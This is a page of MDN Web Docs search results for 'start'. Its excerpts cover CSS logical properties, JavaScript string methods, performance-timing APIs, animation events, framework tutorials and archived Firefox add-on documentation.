Search completed in 1.36 seconds.
border-start-start-radius - CSS: Cascading Style Sheets
the border-
start-
start-radius css property defines a logical border radius on an element, which maps to a physical border radius that depends on the element's writing-mode, direction, and text-orientation. this is useful when building styles to work regardless of the text orientation and writing mode. /* <length> values */ /* with one value the corner will be a circle */ border-
start-
start-radius: 10px; border-
start-
start-radius: 1em; /* with two values the corner will be an ellipse */ border-
start-
start-radius: 1em 2em; /* global values */ border-
start-
start-radius: inherit; border-
start-
start-radius: initial; border-
start-
start-radius: unset; for instance, in a horizontal-tb writing mode this property corresponds to the border-top-left-radius property. syntax values <length-percent...
... editor's draft initial definition. ...
... editor's draft initial definition. ...
...And 4 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
requirements first off, what kind of add-on are we talking about here? well, xul overlays and windows, jsm files, chrome & resource mappings with localization, default preferences, but no xpcom components of your own. some of that will have to be replaced and the rest will need to be loaded differently. next, what's the minimum version of firefox we should require (preferably an esr)? this guide targets firefox 17 esr or later (or anything else gecko 17+, such as seamonkey 2.14+). ...
... properly add instructions to your add-on's chrome.manifest to add and remove resource, chrome, locale, & etc. mappings, so that you can access your files with custom paths such as: resource://myaddon/filename.ext chrome://myaddon/content/filename.ext step 2: no more resource:// uris for files internal to your bundle unfortunately, resource mappings in your chrome.manifest were not usable in re
startless add-ons until mozilla finally fixed this bug in firefox 38, which looked bad, but only because mozilla is still using resource:// uris internally and in examples. resource mappings for files in the mozilla distribution, such as services.jsm (above), will continue to work. in overlay extensions, you can place a resource mapping in the chrome.manifest for your add-on and load your own jsm from ...
...ble since firefox 3. you can use chrome:// uris with "components.utils.import()" just fine; in fact you've been able to since firefox 4. however, because it was implemented first for only file:// and resource:// but not chrome://, everyone who learned of this new feature learned that you had to load jsm from resource:// uris and just stuck with that forever. it does still work if you don't have re
startlessness to worry about, though the protocol (or scheme, or whatever term you prefer) really should be avoided at this point. the resource:// protocol actually bleeds into content which allows webpages to detect installed add-ons using the protocol, which is not particularly fantastic (just the static file contents, not any loaded script/data). step 2a: load your jsm from chrome:// now with that...
...And 24 more matches
nsIAppStartup
toolkit/components/
startup/public/nsiapp
startup.idlscriptable this interface is intended to be used as application
startup service. it also helps in quitting applications as well. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/toolkit/app-
startup;1. ...
...artup/public/nsiapp
startup.idlscriptable this interface is intended to be used as application
startup service. it also helps in quitting applications as well. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/toolkit/app-
startup;1. ...
...ce is intended to be used as application
startup service. it also helps in quitting applications as well. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/toolkit/app-
startup;1. ...
...And 22 more matches
Getting started with Svelte - Learn web development
hat you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. svelte is a compiler that generates minimal and highly optimized javascript code from our sources; you'll need a terminal with node + npm installed to compile and build your app. objective: to setup a local svelte development environment, create and build a
starter app, and understand the basics of how it works. svelte: a new approach to building rich user interfaces svelte provides a different approach to building web apps than some of the other frameworks covered in this module. while frameworks like react and vue do the bulk of their work in the user's browser while the app is running, svelte shifts that work into a compile step that happens on...
...it later on in this tutorial series. we encourage you to go through the svelte tutorial for a really quick introduction to the basic concepts, before returning to this tutorial series to learn how to build something slightly more in-depth. it should take you about 30 minutes to complete. use cases svelte can be used to develop small pieces of an interface or whole applications. you can either
start from scratch letting svelte drive your ui or you can incrementally integrate it into an existing application. nevertheless, svelte is particularly appropriate to tackle the following situations: web applications intended for low power devices: applications built with svelte have smaller bundle sizes, which is ideal for devices with slow network connections and limited processing power. less c...
... that need to display a large number of dom elements, the performance gains that come from a framework with no runtime overhead will ensure that user interactions are snappy and responsive. onboarding people with basic web development knowledge: svelte has a shallow learning curve. web developers with basic html, css, and javascript knowledge can easily grasp svelte specifics in a short time and
start building web applications. moreover, with the help of sapper (a framework based on svelte), you can also develop applications with advanced features like server-side rendering, code splitting, file-based routing and offline support. and then there's also svelte native, which lets you build native mobile applications. how does svelte work? being a compiler, svelte can extend html, css, and jav...
...And 21 more matches
Starting WebLock
« previousnext » in this chapter, we begin to design and implement the web locking functionality itself. we have already created a module that implements most of the generic component functionality (e.g. registration). this chapter will focus on the functionality that actually handles the web locking. getting called at
startup no person is an island to himself, and neither are components. the sample component you've built up so far doesn't do anything. after having its registration procedure called, the component does nothing. in order to be
started up or notified when some event happens, the sample component has to hook into mozilla, which it can do either by overriding an existing component or by registering for some event that will cause it to
start up. weblock does the ...
... observersare objects that are notified when various events occur. ...
... observersare objects that are notified when various events occur. using them is a good way for objects to pass messages to each other without the objects having explicit knowledge of one another. ...
...And 21 more matches
Optimizing startup performance - Web Performance
an often overlooked aspect of app software development—even among those focusing on performance optimization—is
startup performance. how long does your app take to
start up? does it seem to lock up the device or the user's browser while the app loads? that makes users worry that your app is crashed, or that something else is wrong. it's always a good idea to take the time to ensure that your app
starts up nicely. this article offers tips and suggestions to help you achieve that goal, both when writing a new app and when porting an app from another platform to the web.
starting up nicely regardless of platform, it's always a good idea to
start up as quickly as possible. since that's a universal issue, we won't be focusing on it too much here. instead, we're going to look at a mor...
...rs tips and suggestions to help you achieve that goal, both when writing a new app and when porting an app from another platform to the web.
starting up nicely regardless of platform, it's always a good idea to
start up as quickly as possible. since that's a universal issue, we won't be focusing on it too much here. instead, we're going to look at a more important issue when building web apps:
starting up as asynchronously as possible. that means not running all your
startup code in a single event handler on the app's main thread. instead, you should write your code so that your app creates a web worker that does as much as possible in a background thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user events and rendering ui) s...
... event handler on the app's main thread. instead, you should write your code so that your app creates a web worker that does as much as possible in a background thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user events and rendering ui) should be broken up into small pieces so that the app's event loop continues to cycle while it
starts up. this will prevent the app, browser, and/or device from appearing to have locked up. why is it important to be asynchronous? other than the reasons suggested above, consider the impact of a non-responsive page or user interface. the user is unable to cancel if they launched your app by mistake. if the app is being run in a browser, it's possible the user may get an "unresponsive app" or "slo...
...And 10 more matches
Starting our Svelte Todo list app - Learn web development
we want our users to be able to browse, add and delete tasks, and also to mark them as complete. ...
... we want our users to be able to browse, add and delete tasks, and also to mark them as complete. ...
...d build your app. objective: to learn how to create a svelte component, render it inside another component, pass data into it using props, and save its state. ...
...And 9 more matches
Getting started with React - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. ...
...uages, knowledge of the terminal/command line. react uses an html-in-javascript syntax called jsx (javascript and xml). familiarity with both html and javascript will help you to learn jsx, and better identify whether bugs in your application are related to javascript or to the more specific domain of react. objective: to set up a local react development environment, create a
start app, and understand the basics of how it works hello react as its official tagline states, react is a library for building user interfaces. react is not a framework – it's not even exclusive to the web. it's used with other libraries to render to certain environments. for instance, react native can be used to build mobile applications; react 360 can be used to build virtual reality appl...
... snippet aren't unique to jsx, and don’t have any effect on your application. they're a signal to you (and your computer) that the multiple lines of code inside are part of the same expression. you could just as well write the header expression like this: const header = <header> <h1>mozilla developer network</h1> </header> however, this looks kind of awkward, because the <header> tag that
starts the expression is not indented to the same position as its corresponding closing tag. of course, your browser can't read jsx without help. when compiled (using a tool like babel or parcel), our header expression would look like this: const header = react.createelement("header", null, react.createelement("h1", null, "mozilla developer network") ); it's possible to skip the compilation step ...
...And 8 more matches
String.prototype.padStart() - JavaScript
if the value is less than str.length, then str is returned as-is. padstring optional the string to pad the current str with. ...
...if the value is less than str.length, then str is returned as-is. padstring optional the string to pad the current str with. ...
...if the value is less than str.length, then str is returned as-is. padstring optional the string to pad the current str with. ...
...And 8 more matches
grid-column-start - CSS: Cascading Style Sheets
the grid-column-
start css property specifies a grid item’s
start position within the grid column by contributing a line, a span, or nothing (automatic) to its grid placement. this
start position defines the block-
start edge of the grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ng a line, a span, or nothing (automatic) to its grid placement. this
start position defines the block-
start edge of the grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... placement. this
start position defines the block-
start edge of the grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 7 more matches
grid-row-start - CSS: Cascading Style Sheets
the grid-row-
start css property specifies a grid item’s
start position within the grid row by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-
start edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-
start edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...) to its grid placement, thereby specifying the inline-
start edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 7 more matches
Getting started with HTML - Learn web development
it also explains where these fit into html. you will learn how html elements are structured, how a typical html page is structured, and other important basic language features. along the way, there will be an opportunity to play with html too! prerequisites: basic computer literacy, basic software installed, and basic knowledge of working with files. objective: to gain basic familiarity with html, and practice writing a few html elements. ...
...ll tags in lowercase for consistency, readability, and other reasons. anatomy of an html element let's further explore our paragraph element from the previous section: the anatomy of our element is: the opening tag: this consists of the name of the element (in this example, p for paragraph), wrapped in opening and closing angle brackets. this opening tag marks where the element begins or
starts to take effect. in this example, it precedes the
start of the paragraph text. the content: this is the content of the element. in this example, it is the paragraph text. the closing tag: this is the same as the opening tag, except that it includes a forward slash before the element name. this marks where the element ends. failing to include a closing tag is a common beginner error that can pro...
...is marks where the element ends. failing to include a closing tag is a common beginner error that can produce peculiar results. the element is the opening tag, followed by content, followed by the closing tag. active learning: creating your first html element edit the line below in the input area by wrapping it with the tags <em> and </em>. to open the element, put the opening tag <em> at the
start of the line. to close the element, put the closing tag </em> at the end of the line. doing this should give the line italic text formatting! see your changes update live in the output area. if you make a mistake, you can clear your work using the reset button. if you get really stuck, press the show solution button to see the answer. playable code <h2>live output</h2> <div class="output" styl...
...And 6 more matches
Receiving startup notifications
sometimes it's necessary for xpcom components to receive notifications as to the progress of the application's
startup process, so they can
start new services at appropriate times, for example. receiving
startup notifications in gecko 2.0 (firefox 4) and later in order to improve
startup times, changes were made to the xpcom
startup process. see the
startup process for details on how this now works, if you're interested in specifics. the important thing to note is that now instead of registering with the category manager programmatically as was done in the past, you add lines to your chrome.manifest to let the application handle it for you. ...
...his now works, if you're interested in specifics. the important thing to note is that now instead of registering with the category manager programmatically as was done in the past, you add lines to your chrome.manifest to let the application handle it for you. ...
...ou add lines to your chrome.manifest to let the application handle it for you. for example: category profile-after-change mycomponent @foobar/mycomponent;1 important: in the past, the contract id of the category entry
started with "service," if the component was implemented as a service. this is no longer the case, so be sure to remove that when migrating existing code. additionally, the earliest
startup time notification you can receive is now profile-after-change. your add-on will not receive xpcom-
startup or app-
startup notifications. the
startup process during application
startup, the application's manifest is used to get a list of the components it needs to register, and those components are loaded. this gets enough of xpcom and the application loaded and running that the extension manager...
...And 6 more matches
GlobalEventHandlers.onanimationstart - Web APIs
the function receives as input a single parameter: an animationevent object describing the event which occurred. ...
...the function receives as input a single parameter: an animationevent object describing the event which occurred. ...
...the function receives as input a single parameter: an animationevent object describing the event which occurred. ...
...And 6 more matches
HTMLElement: transitionstart event - Web APIs
the transition
start event is fired when a css transition has actually
started, i.e., after any transition-delay has ended. ...
... the transition
start event is fired when a css transition has actually
started, i.e., after any transition-delay has ended. ...
... the transition
start event is fired when a css transition has actually
started, i.e., after any transition-delay has ended. ...
...And 6 more matches
Getting started with Ember - Learn web development
rerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn how to install ember, and create a
starter app. introducing ember ember is a component-service framework that focuses on the overall web application development experience, minimizing the trivial differences between applications — all while being a modern and light layer on top of native javascript. ember also has immense backwards and forwards compatibility to help businesses stay up to date with the latest versions of ember ...
.... in particular, javascript classes. this is where most of the "framework" parts come into play, as there are superclasses, where each type of thing has a different purpose and different expected location within your project. here is a demonstration the impact ember has on the javascript that is in typical projects: gavin demonstrates how < 20% of the js written is specific to ember. getting
started the rest of the ember material you'll find here consists of a multi-part tutorial, in which we'll make a version of the classic todomvc sample app, teaching you how to use the essentials of the ember framework along the way. todomvc is a basic to-do tracking app implemented in many different technologies. here is the completed ember version, for reference. a note on todomvc and accessibility...
...label, .toggle-all:focus + label { /* !important needed because todomvc styles deliberately disable the outline */ outline: #d86f95 solid !important; } this css overrides some of the styles provided by the todomvc-app-css npm package, therefore allowing keyboard focus to be visible. this goes some way towards fixing one of the major accessibility disadvantages of the default todomvc app. ...
...And 5 more matches
AudioBufferSourceNode.loopStart - Web APIs
this value is only used when the loop parameter is true. example in this example, the audiocontext.decodeaudiodata() function is used to decode an audio track and put it into an audiobuffersourcenode. ...
...this value is only used when the loop parameter is true. example in this example, the audiocontext.decodeaudiodata() function is used to decode an audio track and put it into an audiobuffersourcenode. ...
...this value is only used when the loop parameter is true. example in this example, the audiocontext.decodeaudiodata() function is used to decode an audio track and put it into an audiobuffersourcenode. ...
...And 5 more matches
margin-block-start - CSS: Cascading Style Sheets
the margin-block-
start css property defines the logical block
start margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...in of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...pending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 5 more matches
Getting started with Vue - Learn web development
previous overview: client-side javascript frameworks next now let's introduce vue, the third of our frameworks. in this article we'll look at a little bit of vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to
start building our example. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file com...
...en as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to setup a local vue development environment, create a
starter app, and understand the basics of how it works. a clearer vue vue is a modern javascript framework that provides useful facilities for progressive enhancement — unlike many other frameworks, you can use vue to enhance existing html. this lets you use vue as a drop-in replacement for a library like jquery. that being said, you can also use vue to write entire single page applications ...
...he vue guide and api documentation open in other tabs, so you can refer to them if you want more information on any sub topic. for a good (but potentially biased) comparison between vue and many of the other frameworks, see vue docs: comparison with other frameworks. installation to use vue in an existing site, you can drop one of the following <script> elements onto a page. this allows you to
start using vue on existing sites, which is why vue prides itself on being a progressive framework. this is a great option when migrating an existing project using a library like jquery to vue. with this method, you can use a lot of the core features of vue, such as the attributes, custom components, and data-management. development script (unoptimized, but includes console warnings. great for de...
...And 4 more matches
Document: transitionstart event - Web APIs
you can listen for this event on the document interface to handle it in the capture or bubbling phases. ...
...you can listen for this event on the document interface to handle it in the capture or bubbling phases. ...
...you can listen for this event on the document interface to handle it in the capture or bubbling phases. ...
...And 4 more matches
HTMLElement: animationstart event - Web APIs
the animation
start event is fired when a css animation has
started. if there is an animation-delay, this event will fire once the delay period has expired. a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence). ...
...-delay, this event will fire once the delay period has expired. a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence). ...
...s expired. a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence). ...
...And 4 more matches
PerformanceResourceTiming.connectStart - Web APIs
the connect
start read-only property returns the timestamp immediately before the user agent
starts establishing the connection to the server to retrieve the resource. note: this feature is available in web workers. syntax resource.connect
start; return value a domhighrestimestamp immediately before the browser
starts to establish the connection to the server to retrieve the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...er
starts to establish the connection to the server to retrieve the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...o retrieve the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 4 more matches
PerformanceResourceTiming.domainLookupStart - Web APIs
the domainlookup
start read-only property returns the timestamp immediately before the browser
starts the domain name lookup for the resource. note: this feature is available in web workers. syntax resource.domainlookup
start; return value a domhighrestimestamp immediately before the browser
starts the domain name lookup for the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...mmediately before the browser
starts the domain name lookup for the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...lookup for the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 4 more matches
PerformanceResourceTiming.fetchStart - Web APIs
the fetch
start read-only property represents a timestamp immediately before the browser
starts to fetch the resource. if there are http redirects the property returns the time immediately before the user agent
starts to fetch the final resource in the redirection. note: this feature is available in web workers. syntax resource.fetch
start; return value a domhighrestimestamp immediately before the browser
starts to fetch the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...highrestimestamp immediately before the browser
starts to fetch the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...s to fetch the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 4 more matches
PerformanceResourceTiming.redirectStart - Web APIs
the redirect
start read-only property returns a timestamp representing the
start time of the fetch which that initiates the redirect. if there are http redirects when fetching the resource and if any of the redirects are not from the same origin as the current document, but the timing allow check algorithm passes for each redirected resource, this property returns the
starting time of the fetch that initiates the redirect; otherwise, zero is returned. note: this feature is available in web workers. syntax resource.redirect
start; return value a timestamp representing the
start time of the fetch which initiates the redirect. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. function print_performanceentries() { // u...
...estamp representing the
start time of the fetch which initiates the redirect. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
... initiates the redirect. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 4 more matches
PerformanceResourceTiming.requestStart - Web APIs
the request
start read-only property returns a timestamp of the time immediately before the browser
starts requesting the resource from the server, cache, or local resource. if the transport connection fails and the browser retires the request, the value returned will be the
start of the retry request. there is no end property for request
start. note: this feature is available in web workers. syntax resource.request
start; return value a domhighrestimestamp representing the time immediately before the browser
starts requesting the resource from the server example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = perfo...
...immediately before the browser
starts requesting the resource from the server example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...resource from the server example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 4 more matches
PerformanceResourceTiming.responseStart - Web APIs
the response
start read-only property returns a timestamp immediately after the browser receives the first byte of the response from the server, cache, or local resource. note: this feature is available in web workers. syntax resource.response
start; return value a domhighrestimestamp immediately after the browser receives the first byte of the response from the server. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...ly after the browser receives the first byte of the response from the server. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...esponse from the server. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 4 more matches
PerformanceResourceTiming.secureConnectionStart - Web APIs
the secureconnection
start read-only property returns a timestamp immediately before the browser
starts the handshake process to secure the current connection. if a secure connection is not used, the property returns zero. note: this feature is available in web workers. syntax resource.secureconnection
start; return value if the resource is fetched over a secure connection, a domhighrestimestamp immediately before the browser
starts the handshake process to secure the current connection. if a secure connection is not used, this property returns zero. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performanc...
...t connection. if a secure connection is not used, this property returns zero. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...s property returns zero. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 4 more matches
PerformanceResourceTiming.workerStart - Web APIs
the worker
start read-only property of the performanceresourcetiming interface returns a domhighrestimestamp immediately before dispatching the fetchevent if a service worker thread is already running, or immediately before
starting the service worker thread if it is not already running. if the resource is not intercepted by a service worker the property will always return 0. note: this feature is available in web workers. syntax resource.worker
start; value a domhighrestimestamp. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { ...
...n web workers. syntax resource.worker
start; value a domhighrestimestamp. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
... a domhighrestimestamp. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 4 more matches
SourceBuffer.appendWindowStart - Web APIs
exceptions the following exceptions may be thrown when setting a new value for this property. ...
... exceptions the following exceptions may be thrown when setting a new value for this property. ...
... exceptions the following exceptions may be thrown when setting a new value for this property. ...
...And 4 more matches
border-block-start - CSS: Cascading Style Sheets
the border-block-
start css property is a shorthand property for setting the individual logical block-
start border property values in a single place in the style sheet. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...-
start border property values in a single place in the style sheet. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constituent properties this property is a shorthand for the following css properties: border-block-
start-color border-block-
start-style border-block-
start-width syntax border-block-
start: 1px; border-block-
start: 2px dotted; border-block-
start: medium dashed blue; border-block-
start can be used to set the values for one or more of border-block-
start-width, border-block-
start-style, and border-block-
start-color. the physical border to which it maps depends on the element's writing mode, dire...
...see border-width. <'border-style'> the line style of the border. see border-style. <'color'> the color of the border. see color. ...
...And 4 more matches
border-inline-start - CSS: Cascading Style Sheets
the border-inline-
start css property is a shorthand property for setting the individual logical inline-
start border property values in a single place in the style sheet. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...-
start border property values in a single place in the style sheet. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constituent properties this property is a shorthand for the following css properties: border-inline-
start-color border-inline-
start-style border-inline-
start-width syntax border-inline-
start: 1px; border-inline-
start: 2px dotted; border-inline-
start: medium dashed green; the physical border to which border-inline-
start maps depends on the element's writing mode, directionality, and text orientation. it corresponds to the border-top, border-right, border-bottom, or border-left property dependin...
...see border-width. <'border-style'> the line style of the border. see border-style. <'color'> the color of the border. see color. ...
...And 4 more matches
padding-block-start - CSS: Cascading Style Sheets
the padding-block-
start css property defines the logical block
start padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...g on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <length> values */ padding-block-
start: 10px; /* an absolute length */ padding-block-
start: 1em; /* a length relative to the text size */ /* <percentage> value */ padding-block-
start: 5%; /* a padding relative to the block container's width */ /* global values */ padding-block-
start: inherit; padding-block-
start: initial; padding-block-
start: unset; values the padding-block-
start property takes the same values as the padding-left property. description this property ...
...And 4 more matches
padding-inline-start - CSS: Cascading Style Sheets
the padding-inline-
start css property defines the logical inline
start padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ng on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <length> values */ padding-inline-
start: 10px; /* an absolute length */ padding-inline-
start: 1em; /* a length relative to the text size */ /* <percentage> value */ padding-inline-
start: 5%; /* a padding relative to the block container's width */ /* global values */ padding-inline-
start: inherit; padding-inline-
start: initial; padding-inline-
start: unset; values the padding-inline-
start property takes the same values as the padding-left property. description this property ...
...And 4 more matches
String.prototype.trimStart() - JavaScript
the trim
start() method removes whitespace from the beginning of a string. trimleft() is an alias of this method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.trim
start(); str.trimleft(); return value a new string representing the calling string stripped of whitespace from its beginning (left end). description the trim
start() / trimleft() methods return the string stripped of whitespace from its left end. trimleft() or trim
start() do not affect the value of the string itself. aliasing for consistency with functions like string.prototype.pad
start the standard method name is trim
start. however, for ...
...om its beginning (left end). description the trim
start() / trimleft() methods return the string stripped of whitespace from its left end. trimleft() or trim
start() do not affect the value of the string itself. aliasing for consistency with functions like string.prototype.pad
start the standard method name is trim
start. however, for web compatibility reasons, trimleft remains as an alias to trim
start. ...
...ods return the string stripped of whitespace from its left end. trimleft() or trim
start() do not affect the value of the string itself. aliasing for consistency with functions like string.prototype.pad
start the standard method name is trim
start. however, for web compatibility reasons, trimleft remains as an alias to trim
start. ...
...And 4 more matches
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
the final goal is to find the correct stream listener to pump the data into when necko calls ondataavailable (e.g., we may find the html parser as the stream listener to give the data to). dramatis personae this document focuses on the interaction of three classes with each other, but other mozilla components are also involved. ...
...ed with it (e.g. a named frame). all loads that we consider in this document are initiated via the docshell. nsdocshell implements too many interfaces to count; the ones that matter to us most are nsiwebnavigation and nsilinkhandler. nsuriloader this is a service implementing nsiuriloader. it keeps track of currently pending loads and registered content listeners. some facilities are provided for
starting loads, canceling loads, and other such micromanagement. nsdocumentopeninfo this class encapsulates all the information related to a particular load. there is basically one of these per load (though see the section on stream converters). nsdocumentopeninfo implements nsistreamlistener and proxies the nsistreamlistener calls over to the "real" stream listener once one is chosen. this is the clas...
...area alt="(10) getcategoryentry()" coords="575,418,821,418,821,455,629,455,629,484,575,484" href="#categorymanager" shape="poly"> <area alt="(12)" coords="539,133,583,163" href="#stream-converter"> <area alt="(11)" coords="485,133,537,163" href="#contenthandler"> <area alt="(9)" coords="445,132,484,165" href="#nsdocumentopeninfo::dispatchcontent"> <area alt="(8)" coords="405,133,439,162" href="#on
startrequest-innards"> <area alt="(7) on
startrequest()" coords="639,129,703,129,703,165,833,165,833,204,639,204" href="#on
startrequest" shape="poly"> <area alt="(6) asyncopen()" coords="637,121,709,121,709,96,783,96,783,58,637,58" href="#asyncopen" shape="poly"> <area alt="(5) open()" coords="311,306,432,371" href="#open"> <area alt="(4)" coords="90,384,127,417" href="#openuri-innards"> <area alt="(0) ...
...And 3 more matches
Debug.msTraceAsyncCallbackStarting - Archive of obsolete content
example the following code provides an example of tracing an asynchronous call for a windows 8.x store app. ...
... example the following code provides an example of tracing an asynchronous call for a windows 8.x store app. ...
...yncoperationid the id associated with the asynchronous operation. remarks call this function in the callback function for the asynchronous operation after the call to debug.mstraceasyncoperationcompleted. note: some debugging tools do not display the information sent to the debugger. ...
...And 3 more matches
Getting started with CSS - Learn web development
and apply css to it, learning some practical things about the language along the way. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, and html basics (study introduction to html.) objective: to understand the basics of linking a css document to an html file, and be able to do simple text formatting with css. ...
...g some practical things about the language along the way. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, and html basics (study introduction to html.) objective: to understand the basics of linking a css document to an html file, and be able to do simple text formatting with css.
starting with some html our
starting point is an html document. you can copy the code from below if you want to work on your own computer. save the code below as index.html in a folder on your machine. <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>getting
started with css</title> </head> <body> <h1>i am a level one heading</h1> <p>this is a paragraph of text. in the text is a <span>span...
...out changing the others. the most common way to do this is to add a class to your html element and target that class. in your html document, add a class attribute to the second list item. your list will now look like this: <ul> <li>item one</li> <li class="special">item two</li> <li>item <em>three</em></li> </ul> in your css you can target the class of special by creating a selector that
starts with a full stop character. add the following to your css file: .special { color: orange; font-weight: bold; } save and refresh to see what the result is. you can apply the class of special to any element on your page that you want to have the same look as this list item. for example, you might want the <span> in the paragraph to also be orange and bold. try adding a class of special to i...
...And 3 more matches
nsISessionStartup
read only. ...
...read only. ...
...read only. ...
...And 3 more matches
Animation.startTime - Web APIs
the animation.
starttime property of the animation interface is a double-precision floating-point value which indicates the scheduled time when an animation's playback should begin. an animation’s
start time is the time value of its documenttimeline when its target keyframeeffect is scheduled to begin playback. an animation’s
